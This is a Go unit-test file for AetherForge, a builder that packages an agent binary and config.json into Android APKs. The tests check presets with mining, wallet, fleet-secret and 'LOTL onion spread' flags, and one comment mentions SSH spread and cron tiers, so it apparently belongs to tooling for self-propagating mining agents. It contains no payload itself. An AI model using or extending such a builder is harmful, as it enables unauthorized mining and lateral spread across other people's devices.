AetherForge/server/internal/builder/build_apk_test.go

package builder

import (
	"context"
	"encoding/json"
	"os"
	"path/filepath"
	"strings"
	"testing"
)

func TestApplyApkScoutPreset(t *testing.T) {
	req := &BuildRequest{
		WorkerName: "scout-tablet",
		ServerURL:  "http://192.168.1.5:8989",
		Threads:    8,
	}
	ApplyApkScoutPreset(req)
	if !req.ApkMode || !req.ScoutMode || !req.MiningDisabled {
		t.Fatalf("scout preset flags: apk=%v scout=%v mining_disabled=%v", req.ApkMode, req.ScoutMode, req.MiningDisabled)
	}
	if req.LotlOnionEnabled {
		t.Fatal("scout must not enable LOTL onion spread chain")
	}
	if len(req.LotlOnionTiers) != 2 || req.LotlOnionTiers[0] != "discover_and_join" {
		t.Fatalf("scout tiers = %v", req.LotlOnionTiers)
	}
	if req.Wallet == "" {
		t.Fatal("scout preset should set placeholder wallet")
	}
}

func TestApplyApkBuildPreset(t *testing.T) {
	req := &BuildRequest{
		WorkerName:    "phone-1",
		ServerURL:     "http://192.168.1.5:8989",
		FusionEnabled: true,
		Threads:       8,
	}
	ApplyApkBuildPreset(req)
	if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" {
		t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch)
	}
	if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled {
		t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled)
	}
	if req.Threads != 1 {
		t.Fatalf("threads=%d want 1", req.Threads)
	}
	if req.ApkAgentName != "phone-1" {
		t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
	}
	// "linux" tier must be absent — it enables SSH spread / cron which cannot
	// run inside the Android process sandbox.
	for _, tier := range req.LotlOnionTiers {
		if tier == "linux" {
			t.Fatalf("linux LOTL tier must not be set for APK builds, got tiers=%v", req.LotlOnionTiers)
		}
	}
}

func TestPlatformsForRequestApkMode(t *testing.T) {
	ps := platformsForRequest(&BuildRequest{ApkMode: true})
	if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
		t.Fatalf("apk platform: %+v", ps)
	}
}

func TestBuildAPKAgentMockGradle(t *testing.T) {
	h, database := testHandlerDB(t)
	t.Cleanup(func() { _ = database.Close() })
	setFakeGoSuccess(t, h)

	androidDir := filepath.Join(h.projectRoot, "android")
	if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
		t.Fatal(err)
	}

	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
		apk := filepath.Join(buildDir, "agent-app-debug.apk")
		if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
			return "", err
		}
		return apk, nil
	}

	req := &BuildRequest{
		WorkerName:  "tablet-1",
		ServerURL:   "http://192.168.1.10:8989",
		CancelToken: "apk-test-token",
		ApkMode:     true,
	}
	resp, code, _ := h.buildAPKAgent(context.Background(), req)
	if code != 200 || !resp.Success {
		t.Fatalf("build failed code=%d resp=%+v", code, resp)
	}
	if resp.ArtifactPath == "" || resp.DownloadURL == "" {
		t.Fatalf("missing artifact paths: %+v", resp)
	}
	if !strings.HasSuffix(resp.FileName, ".apk") {
		t.Fatalf("file_name=%q", resp.FileName)
	}

	cfgPath := filepath.Join(h.apkAssetsDir(), "config.json")
	raw, err := os.ReadFile(cfgPath)
	if err != nil {
		t.Fatalf("config.json: %v", err)
	}
	var cfg apkAssetConfig
	if err := json.Unmarshal(raw, &cfg); err != nil {
		t.Fatal(err)
	}
	if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
		t.Fatalf("config.json: %+v", cfg)
	}
	if cfg.WorkerNumber != "tablet-1" {
		t.Fatalf("worker_number=%q want tablet-1", cfg.WorkerNumber)
	}
	if cfg.BuildID == "" {
		t.Fatal("build_id must be non-empty")
	}

	agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
	if _, err := os.Stat(agentAsset); err != nil {
		t.Fatalf("agent asset missing: %v", err)
	}

	// Verify compile step wrote linux/arm64 builtin config with APK flags.
	buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds"))
	if len(buildDirs) == 0 {
		t.Fatal("no build dir")
	}
	builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go")
	builtin, err := os.ReadFile(builtinPath)
	if err != nil {
		t.Fatalf("builtin.go: %v", err)
	}
	if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") {
		t.Fatalf("apk flags missing from builtin.go:\n%s", builtin)
	}
}

func TestApkConfigJSONFleetSecret(t *testing.T) {
	h, database := testHandlerDB(t)
	t.Cleanup(func() { _ = database.Close() })
	h.fleetSecret = "test-fleet-secret-abc123"

	assetsDir := h.apkAssetsDir()
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		t.Fatal(err)
	}

	req := &BuildRequest{
		WorkerName:    "secret-node",
		ApkAgentName:  "secret-node",
		ServerURL:     "http://10.0.0.1:8989",
		MiningDisabled: true,
	}
	if err := h.writeApkConfigJSON(req, "build-secret-test"); err != nil {
		t.Fatalf("writeApkConfigJSON: %v", err)
	}

	raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
	if err != nil {
		t.Fatalf("read config.json: %v", err)
	}
	var cfg apkAssetConfig
	if err := json.Unmarshal(raw, &cfg); err != nil {
		t.Fatalf("unmarshal: %v", err)
	}

	if cfg.FleetSecret != "test-fleet-secret-abc123" {
		t.Errorf("fleet_secret: got %q want %q", cfg.FleetSecret, "test-fleet-secret-abc123")
	}
	if cfg.WorkerName != "secret-node" || cfg.WorkerNumber != "secret-node" {
		t.Errorf("worker: name=%q number=%q", cfg.WorkerName, cfg.WorkerNumber)
	}
	if cfg.Mining.Enabled {
		t.Error("mining.enabled should be false when MiningDisabled=true")
	}
	if cfg.BuildID != "build-secret-test" {
		t.Errorf("build_id: got %q want %q", cfg.BuildID, "build-secret-test")
	}
}

func TestApkConfigJSONNoSecretOmitted(t *testing.T) {
	h, database := testHandlerDB(t)
	t.Cleanup(func() { _ = database.Close() })
	// h.fleetSecret is empty — fleet_secret must be omitted from JSON

	assetsDir := h.apkAssetsDir()
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		t.Fatal(err)
	}

	req := &BuildRequest{
		WorkerName: "no-secret-node",
		ServerURL:  "http://10.0.0.2:8989",
	}
	if err := h.writeApkConfigJSON(req, "bld-nosecret"); err != nil {
		t.Fatalf("writeApkConfigJSON: %v", err)
	}

	raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
	if err != nil {
		t.Fatalf("read config.json: %v", err)
	}
	if strings.Contains(string(raw), "fleet_secret") {
		t.Errorf("fleet_secret should be omitted when empty, got:\n%s", raw)
	}
}

func TestApkAssetPathsMatchBinaryExtractor(t *testing.T) {
	// Cross-check Go builder output with android BinaryExtractor.kt constants:
	// ASSET_NAME = "agent", config consumed by AgentConfig.kt as config.json.
	h, database := testHandlerDB(t)
	t.Cleanup(func() { _ = database.Close() })
	assetsDir := h.apkAssetsDir()
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		t.Fatal(err)
	}
	agentBin := filepath.Join(t.TempDir(), "agent-arm64")
	if err := os.WriteFile(agentBin, []byte("elf-agent-binary"), 0755); err != nil {
		t.Fatal(err)
	}
	if err := h.copyAgentBinaryToApkAssets(agentBin); err != nil {
		t.Fatal(err)
	}
	agentAsset := filepath.Join(assetsDir, "agent")
	if _, err := os.Stat(agentAsset); err != nil {
		t.Fatalf("agent asset missing at BinaryExtractor ASSET_NAME path: %v", err)
	}
	if err := h.writeApkConfigJSON(&BuildRequest{
		WorkerName: "tab-1", ServerURL: "http://deck:8989", MiningDisabled: true,
	}, "bld-cross"); err != nil {
		t.Fatal(err)
	}
	if _, err := os.Stat(filepath.Join(assetsDir, "config.json")); err != nil {
		t.Fatalf("config.json missing for AgentConfig.kt: %v", err)
	}
}

func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
	h := &Handler{}
	req := &BuildRequest{
		WorkerName: "apk-node",
		ServerURL:  "http://192.168.1.5:8989",
		ApkMode:    true,
	}
	if err := h.normalizeRequest(req); err != nil {
		t.Fatal(err)
	}
	if req.TargetOS != "android" || !req.MiningDisabled {
		t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
	}
}